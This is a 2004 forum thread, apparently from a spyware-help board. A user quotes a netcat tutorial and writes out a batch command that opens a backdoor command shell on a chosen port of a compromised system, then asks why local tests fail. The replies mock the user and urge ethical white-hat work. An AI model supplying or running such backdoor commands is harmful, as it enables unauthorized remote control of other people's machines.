Posted 16 June 2004 - 08:33 AM
I read this "Netcat" tutorial about how to set backdoors on a compromised system, which says to make this batch file including:
nc -L -d -p [backdoor port of choice] -t -e command.com (I'm on windows ME)
I then realised that my computer didn't have the file nc.exe, so I downloaded it from a site (Is nc.exe a file that will work on every computer ?). I put both in the c:\windows directory, run the batch file (on port 22) and then tried this:
nc -v 127.0.0.1 22
which would normally connect to my own computer and open a command prompt in which I could type any command I wanted, but it said that the computer refused connection. Why?
Checking, however, what ports are open in my system (for example port 135) I tried this:
nc -v 127.0.0.1 135
It says that the port is open but when I start typing it won't "listen" to anything I type, whatever I do. I can't even exit it with any command. What should I do?
Posted 16 June 2004 - 08:59 AM
Spyware: What you say!!
SpywareInfo: You have no chance to survive. Make your time!
Posted 16 June 2004 - 09:05 AM
Please consider buying a white hat! We could sure use you on THIS side of the fence.
It has the benefit of information sharing, legality, and social approval. And it pays better, too.
Just a thought..
First, Do No Harm!
Second, Use Known Good (canned) Fixes when possible.
Third, Get Help From Others when not positive of your answer.
Fourth, Do Not Recommend complex procedures without verifying the skill of the user to accomplish necessary tasks.
Fifth, Specify optional removals as 'Users Choice'.
Sixth, Give Credit for info and assistance.
Last, BE POLITE. Especially when it is most difficult.
Posted 16 June 2004 - 12:06 PM
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